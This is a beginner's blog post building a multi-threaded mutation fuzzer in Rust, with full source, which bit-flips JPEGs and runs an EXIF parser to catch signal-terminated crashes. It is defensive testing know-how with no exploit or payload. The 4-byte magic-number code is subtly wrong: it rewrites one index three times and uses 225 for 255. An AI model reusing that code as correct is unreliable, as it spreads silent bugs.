I wanted to learn fuzzing, and have also been learning Rust at University. I figured I would combine the both into a project. I’m also using this post as practice for writing blogs in the future.

This is very heavily based off of the blog-post/tutorial written by Hombre: Fuzzing Like a Caveman Part 1. The key differences is that my fuzzer is written in Rust, but also that the implementation uses Rust multi-threading. I won’t repeat everything that Hombre has already detailed very well in their own blog, but I will briefly summarise the key points, and then discuss the multi-threaded soup at the end.

Rusty_fuzzer gets it’s name from not only being written in Rust, but because nobody has probably used a fuzzer this simple in the field in over a decade. However, it’s a great learning opportunity.

Mutation Fuzzing


Mutation fuzzing is the act of making small changes (mutations) to the input to whatever binary we’re targeting.

Bit Flipping

The following functions constitute the bit-flipping mutation, where a given number of bytes in a file are randomly selected for a random bit to be flipped. select_indexes randomly selects the bytes of the byte array to be operated on using the rand crate. flip_bits enumerates the selected bytes, and flips a randomly-chosen bit using an XOR operation with a bit-shifted 0x1.

Note that it’s important to exclude the start of image and end of image magic bytes from the possible bits to be flipped. This is to avoid corrupting the input to the point where it gets (correctly) rejected by the target.

fn select_indexes(n_indexes : i32, n_selections: i32) -> Vec<i32>{
    // Excludes start of image and end of image markers from index range
    let index_range : Vec<i32> = (2..(n_indexes - 2)).collect();
    let mut selected_indexes = Vec::new();

    while selected_indexes.len() != n_selections as usize {
        let chosen_i = index_range.choose(&mut rand::thread_rng());
        match chosen_i {
            Some(i) => {
                selected_indexes.push(*i);
            },
            None => {
                panic!("Not enough indexes to choose given number of flips");
            }
        }
    }
    return selected_indexes;
}

fn flip_bits(mut bytes : Vec<u8>, byte_indexes : Vec<i32>) -> Vec<u8>{
    for i in byte_indexes{
        let index_range : Vec<i32> = (0..8).collect();
        let bit_i_opt = index_range.choose(&mut rand::thread_rng());
        match bit_i_opt {
            Some(bit_i) => {
                bytes[i as usize] ^= (1 as u8) << (*bit_i as u8);
            },
            None => {
                panic!("Could not randomly select bit index of chosen byte");
            }
        }
    }
    return bytes;
}

Gynvael’s Magic Numbers

GynvaelColdwind mentions some magic numbers which target data size and arithmetic errors.

0xFF
0x7F
0x00
0xFFFF
0x0000
0xFFFFFFFF
0x00000000
0x80000000
0x40000000
0x7FFFFFFF

As a second mutation technique, it’s possible to randomly choose a byte in the image to overwrite with any of the above. I implement this with the following functions.

fn get_magic_number() -> (i32, i32){
    // Format: (length in bytes, value of leading byte)
    let magic = [
        (1, 255),
        (1, 255),
        (1, 127),
        (1, 0),
        (2, 255),
        (2, 0),
        (4, 255),
        (4, 0),
        (4, 128),
        (4, 64),
        (4, 127)
    ];

    let magic_opt = magic.choose(&mut rand::thread_rng());
    match magic_opt{
        Some(num) => {
            return *num;
        },
        None => {
            panic!("Could not select magic number");
        }
    }
}

fn overwrite_with_magic(mut bytes : Vec<u8>, magic_n : (i32, i32)) -> Vec<u8>{
    match magic_n.0 {
        1 => {
            let indexes : Vec<i32> = (2..(bytes.len()) as i32 -2).collect();
            let index_opt = indexes.choose(&mut rand::thread_rng());
            match index_opt {
                Some(i) => {
                    bytes[*i as usize] = magic_n.1 as u8;
                },
                None => {
                    panic!("Cannot choose index");
                }
            }
        },
        2 => {
            let indexes : Vec<i32> = (2..(bytes.len()) as i32 -3).collect();
            let index_opt = indexes.choose(&mut rand::thread_rng());
            match index_opt {
                Some(i) => {
                    bytes[*i as usize] = magic_n.1 as u8;
                    bytes[(*i + 1) as usize] = magic_n.1 as u8;
                },
                None => {
                    panic!("Cannot choose index");
                }
            }
        },
        4 => {
            let indexes : Vec<i32> = (2..(bytes.len()) as i32 -6).collect();
            let index_opt = indexes.choose(&mut rand::thread_rng());
            match index_opt {
                Some(i) => {
                    match magic_n.1 {
                        255 => {
                            bytes[*i as usize] = 255;
                            bytes[(*i + 1) as usize] = 225;
                            bytes[(*i + 1) as usize] = 225;
                            bytes[(*i + 1) as usize] = 225;
                        },
                        0 => {
                            bytes[*i as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                        },
                        128 => {
                            bytes[*i as usize] = 128;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                        },
                        64 => {
                            bytes[*i as usize] = 64;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                        },
                        127 => {
                            bytes[*i as usize] = 127;
                            bytes[(*i + 1) as usize] = 255;
                            bytes[(*i + 1) as usize] = 255;
                            bytes[(*i + 1) as usize] = 255;
                        },
                        _ => {
                            panic!("Invalid magic byte {} {}", magic_n.0, magic_n.1);
                        }
                    }
                },
                None => {
                    panic!("Cannot choose index");
                }
            }
        },
        _ => {
            panic!("Invalid magic number length");
        }
    }
    return bytes;
}

Combining Mutation Techniques

The combined implementation is as follows. The code chooses between two mutation methods: bit flipping or overwriting bytes with magic numbers. It then performs either mutation, and writes a mutated output image.

fn main() {
    let args: Vec<String> = env::args().collect();

    if args.len() != 3 {
        println!("Usage: cargo run <jpg-path> <fuzzing-target-path");
        return;
    }

    let mut bytes = get_bytes(args[1].clone());

    // Randomly choose between bit-flipping or magic number mutation
    let options : Vec<i32> = (0..2).collect();
    match options.choose(&mut rand::thread_rng()){
        Some(0) => {
            // Only perform flips on 1% of bytes
            let n_flips = ((bytes.len() as i32) as f64 * 0.01).floor() as i32;
            let selected_i = select_indexes(bytes.len() as i32, n_flips);
            bytes = flip_bits(bytes, selected_i);
        },
        Some(1) => {
            let magic_n = get_magic_number();
            bytes = overwrite_with_magic(bytes, magic_n);
        },
        _ => {
            panic!("Could not choose between functions");
        }
    }

    write_jpg(bytes, String::from("output.jpg"));
}

Multi-Threading


This is where my implementation differs a bit from Hombre’s. Usually in fuzzing, you would want to write thousands of mutated inputs to the target script, increasing the chances of finding a crash and therefore increasing efficiency in finding bugs. I wanted to turn the simple fuzzer into a multi-threaded one, with several threads each creating hundreds of possible mutations.

I also wanted to combine the triage stage in a single script. This is the stage where the target script (in Hombre’s case and in this case, the exif data parsing binary at https://github.com/mkttanabe/exif, is run numerous times against different mutated inputs.

Distributing Mutation Across Multiple Threads

The implementation for the mutating threads is below. In rust, it’s possible to spawn a thread using the std::thread library, via thread::spawn. It’s also important to pay attention to Rust’s ownership rules. The outer for loop spawns 20 threads. It also ensures to clone the index and the bytes read from the original image.

Recall that each thread must actually mutate the vector of bytes (by flipping bits or overwriting entire bytes). This requires a mutable reference. However, Rust does not allow multiple mutable references to the same data. This prevents race conditions among threads by ensuring that multiple threads cannot edit the same data at the same time, and is enforced by the compiler.

Therefore instead, we create a clone of the bytes vector. Additionally, we want to move ownership of the cloned vector of bytes into the thread, instead of borrowing, such that the cloned vector of bytes now exists within the thread’s scope. This is because the thread may outlive the scope of the loop. When the loop’s scope closes, the variables defined within it are destroyed. This is why the move is necessary.

Additionally, within the thread, we have an additional loop which repeats 500 times, producing 500 mutations for each of the 20 threads. Note that it’s necessary to maintain a cloned copy of the original bytes, so that the stream of bytes can be reset to the original following each mutation to avoid chaining the mutations.

// Spawn 20 threads, each of which will create a mutated image 500 times
for i in 0..20{
    let mut bytes_clone = bytes.clone();
    let i_clone = i.clone();
    thread::spawn(move || {
        let original_bytes = bytes_clone.clone();
        for j in 0..500{
            bytes_clone = original_bytes.clone();
            // Randomly choose between bit-flipping or magic number mutation
            let options : Vec<i32> = (0..2).collect();
            match options.choose(&mut rand::thread_rng()){
                Some(0) => {
                    // Only perform flips on 1% of bytes
                    let n_flips = ((bytes_clone.len() as i32) as f64 * 0.01).floor() as i32;
                    let selected_i = select_indexes(bytes_clone.len() as i32, n_flips);
                    bytes_clone = flip_bits(bytes_clone, selected_i);
                },
                Some(1) => {
                    let magic_n = get_magic_number();
                    bytes_clone = overwrite_with_magic(bytes_clone, magic_n);
                },
                _ => {
                    panic!("Could not choose between functions");
                }
            }
            let filename = String::from(format!("output/{}-{}-output.jpg", i_clone, j));
            write_jpg(bytes_clone, filename.clone());
        }
    });
}

The Triage Phase

Now we want to create a thread that tests the target script against a queue of mutated jpegs. There are some slight changes that need to be made. For example, we need to get the target script as input for one.

let target_script = args[2].clone();

We want to structure the program as a pipeline, where there are 20 threads each performing 500 mutations, but also another separate thread testing the target script on mutated jpegs at the same time. We need a way for the mutating threads to notify the triage thread when they have written a mutated jpeg to disk, such that the triage thread can run the target script on said mutated jpeg.

We can use Rust channels to do exactly that. There is one channel connecting all mutation threads with the triage thread. Each mutation thread has a clone of the sender endpoint, so that all of them are able to notify the triage thread. The triage thread has ownership of the only receiving endpoint, and reads notifications from the channel like a queue.

The notification itself will simply be the string filename of the output jpeg that the thread has just written.

It is possible to define the channel endpoints using the std::sync::mpsc library as follows:

let (sender, reciever) = channel();

The mutation threads become redefined slightly, so that the sender endpoint is cloned and moved into each thread. Also, after writing the jpeg, the cloned sender endpoint sends the filename. There is also some error checking code.

// Spawn 20 threads, each of which will create a mutated image 500 times
for i in 0..20{
    let mut bytes_clone = bytes.clone();
    let i_clone = i.clone();
    let sender_clone = sender.clone();
    thread::spawn(move || {
        let original_bytes = bytes_clone.clone();
        for j in 0..500{
            bytes_clone = original_bytes.clone();
            // Randomly choose between bit-flipping or magic number mutation
            let options : Vec<i32> = (0..2).collect();
            match options.choose(&mut rand::thread_rng()){
                Some(0) => {
                    // Only perform flips on 1% of bytes
                    let n_flips = ((bytes_clone.len() as i32) as f64 * 0.01).floor() as i32;
                    let selected_i = select_indexes(bytes_clone.len() as i32, n_flips);
                    bytes_clone = flip_bits(bytes_clone, selected_i);
                },
                Some(1) => {
                    let magic_n = get_magic_number();
                    bytes_clone = overwrite_with_magic(bytes_clone, magic_n);
                },
                _ => {
                    panic!("Could not choose between functions");
                }
            }
            let filename = String::from(format!("output/{}-{}-output.jpg", i_clone, j));
            write_jpg(bytes_clone, filename.clone());
            let res = sender_clone.send(filename.clone());
            match res {
                Ok(_) => {
                    continue;
                },
                Err(e) => {
                    panic!("Error sending {} to triage thread: {}", filename, e);
                }
            }
        }
    });
}

The triage thread is defined below. It loops 10000 times (20 * 500), to ensure that it collects the correct number of files to collect from the channel before quitting. At each iteration, it takes a path to a mutated jpeg from the channel (sent by a mutation thread), constructs a shell command with the given target_script path (provided earlier), runs the command and checks the status code.

// Triage thread
let triage_thread = thread::spawn(move || {
    for i in 0..10000 {
        let filename = reciever.recv().unwrap();
        let mut cmd = Command::new(&target_script);
        let cmd_output = cmd.arg(&filename).stdout(Stdio::piped());
        match cmd_output.status() {
            Ok(status) => {
                match status.code() {
                    None => {
                        println!("Process terminated by signal: {}", filename);
                    },
                    _ => {
                        continue;
                    }
                }
            },
            Err(e) => {
                println!("Could not get status for {}: {}", filename, e);
            }
        }
    }
});

The documentation of the code() method on ExitStatus (returned by matching the Result of cmd_output.status()) states that β€œOn Unix, this will return None if the process was terminated by a signal.” Therefore, we match for None to print out the filenames of mutated jpegs that caused the target script to quit according to a signal, which is very likely to be a Segmentation Fault.

Conclusion


This was a fun project that allowed me to try fuzzing for the first time, and also practice multi-threading with channels in Rust. I notice that there’s probably a few problems, especially with the error handling in the mutated threads (the triage thread is expecting 10000 filenames from the channel, but if a mutation thread fails to send a filename, it will panic and therefore destroy the thread, but the other threads will continue, and the triage thread will wait forever).

It would be interesting to pick a different target too, since I used the same target that Hombre used in their own blog. I’d like to look at code coverage and smart fuzzing techniques in the future as well. Thanks again to Hombre for their really well-written blog that helped me access fuzzing as a beginner.

Anyway, the source code can be found below and on github

Source Code


use std::env;
use std::fs::{File, read};
use std::io::Write;
use rand::seq::{SliceRandom};
use std::thread;
use std::sync::mpsc::channel;
use std::process::{Command, Stdio};

fn get_bytes(filename : String) -> Vec<u8>{
    let bytes_vector = read(filename).unwrap();
    return bytes_vector;
}

fn write_jpg(data : Vec<u8>, filename : String){
    let mut f = File::create(filename).unwrap();
    f.write_all(&data).unwrap();
}

fn select_indexes(n_indexes : i32, n_selections: i32) -> Vec<i32>{
    // Excludes start of image and end of image markers from index range
    let index_range : Vec<i32> = (2..(n_indexes - 2)).collect();
    let mut selected_indexes = Vec::new();

    while selected_indexes.len() != n_selections as usize {
        let chosen_i = index_range.choose(&mut rand::thread_rng());
        match chosen_i {
            Some(i) => {
                selected_indexes.push(*i);
            },
            None => {
                panic!("Not enough indexes to choose given number of flips");
            }
        }
    }
    return selected_indexes;
}

fn flip_bits(mut bytes : Vec<u8>, byte_indexes : Vec<i32>) -> Vec<u8>{
    for i in byte_indexes{
        // println!("{:#010b}", bytes[i as usize]);
        let index_range : Vec<i32> = (0..8).collect();
        let bit_i_opt = index_range.choose(&mut rand::thread_rng());
        match bit_i_opt {
            Some(bit_i) => {
                bytes[i as usize] ^= (1 as u8) << (*bit_i as u8);
            },
            None => {
                panic!("Could not randomly select bit index of chosen byte");
            }
        }
        // println!("{:#010b}", bytes[i as usize]);
    }
    return bytes;
}

fn get_magic_number() -> (i32, i32){
    // Format: (length in bytes, value of leading byte)
    let magic = [
        (1, 255),
        (1, 255),
        (1, 127),
        (1, 0),
        (2, 255),
        (2, 0),
        (4, 255),
        (4, 0),
        (4, 128),
        (4, 64),
        (4, 127)
    ];

    let magic_opt = magic.choose(&mut rand::thread_rng());
    match magic_opt{
        Some(num) => {
            return *num;
        },
        None => {
            panic!("Could not select magic number");
        }
    }
}

fn overwrite_with_magic(mut bytes : Vec<u8>, magic_n : (i32, i32)) -> Vec<u8>{
    match magic_n.0 {
        1 => {
            let indexes : Vec<i32> = (2..(bytes.len()) as i32 -2).collect();
            let index_opt = indexes.choose(&mut rand::thread_rng());
            match index_opt {
                Some(i) => {
                    bytes[*i as usize] = magic_n.1 as u8;
                },
                None => {
                    panic!("Cannot choose index");
                }
            }
        },
        2 => {
            let indexes : Vec<i32> = (2..(bytes.len()) as i32 -3).collect();
            let index_opt = indexes.choose(&mut rand::thread_rng());
            match index_opt {
                Some(i) => {
                    bytes[*i as usize] = magic_n.1 as u8;
                    bytes[(*i + 1) as usize] = magic_n.1 as u8;
                },
                None => {
                    panic!("Cannot choose index");
                }
            }
        },
        4 => {
            let indexes : Vec<i32> = (2..(bytes.len()) as i32 -6).collect();
            let index_opt = indexes.choose(&mut rand::thread_rng());
            match index_opt {
                Some(i) => {
                    match magic_n.1 {
                        255 => {
                            bytes[*i as usize] = 255;
                            bytes[(*i + 1) as usize] = 225;
                            bytes[(*i + 1) as usize] = 225;
                            bytes[(*i + 1) as usize] = 225;
                        },
                        0 => {
                            bytes[*i as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                        },
                        128 => {
                            bytes[*i as usize] = 128;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                        },
                        64 => {
                            bytes[*i as usize] = 64;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                            bytes[(*i + 1) as usize] = 0;
                        },
                        127 => {
                            bytes[*i as usize] = 127;
                            bytes[(*i + 1) as usize] = 255;
                            bytes[(*i + 1) as usize] = 255;
                            bytes[(*i + 1) as usize] = 255;
                        },
                        _ => {
                            panic!("Invalid magic byte {} {}", magic_n.0, magic_n.1);
                        }
                    }
                },
                None => {
                    panic!("Cannot choose index");
                }
            }
        },
        _ => {
            panic!("Invalid magic number length");
        }
    }
    return bytes;
}

fn main() {
    let args: Vec<String> = env::args().collect();

    if args.len() != 3 {
        println!("Usage: cargo run <jpg-path> <fuzzing-target-path");
        return;
    }

    let bytes = get_bytes(args[1].clone());
    let target_script = args[2].clone();

    let (sender, reciever) = channel();

    // Spawn 20 threads, each of which will create a mutated image 500 times
    for i in 0..20{
        let mut bytes_clone = bytes.clone();
        let i_clone = i.clone();
        let sender_clone = sender.clone();
        thread::spawn(move || {
            let original_bytes = bytes_clone.clone();
            for j in 0..500{
                bytes_clone = original_bytes.clone();
                // Randomly choose between bit-flipping or magic number mutation
                let options : Vec<i32> = (0..2).collect();
                match options.choose(&mut rand::thread_rng()){
                    Some(0) => {
                        // Only perform flips on 1% of bytes
                        let n_flips = ((bytes_clone.len() as i32) as f64 * 0.01).floor() as i32;
                        let selected_i = select_indexes(bytes_clone.len() as i32, n_flips);
                        bytes_clone = flip_bits(bytes_clone, selected_i);
                    },
                    Some(1) => {
                        let magic_n = get_magic_number();
                        bytes_clone = overwrite_with_magic(bytes_clone, magic_n);
                    },
                    _ => {
                        panic!("Could not choose between functions");
                    }
                }
                let filename = String::from(format!("output/{}-{}-output.jpg", i_clone, j));
                write_jpg(bytes_clone, filename.clone());
                let res = sender_clone.send(filename.clone());
                match res {
                    Ok(_) => {
                        continue;
                    },
                    Err(e) => {
                        panic!("Error sending {} to triage thread: {}", filename, e);
                    }
                }
            }
        });
    }

    // Triage thread
    let triage_thread = thread::spawn(move || {
        for i in 0..10000 {
            let filename = reciever.recv().unwrap();
            // let cmd = String::from(format!("{} {}", target_script, filename));
            let mut cmd = Command::new(&target_script);
            let cmd_output = cmd.arg(&filename).stdout(Stdio::piped());
            match cmd_output.status() {
                Ok(status) => {
                    match status.code() {
                        None => {
                            println!("Process terminated by signal: {}", filename);
                        },
                        _ => {
                            continue;
                        }
                    }
                },
                Err(e) => {
                    println!("Could not get status for {}: {}", filename, e);
                }
            }
        }
    });

    triage_thread.join().unwrap();
}
  • There are no more articles
❌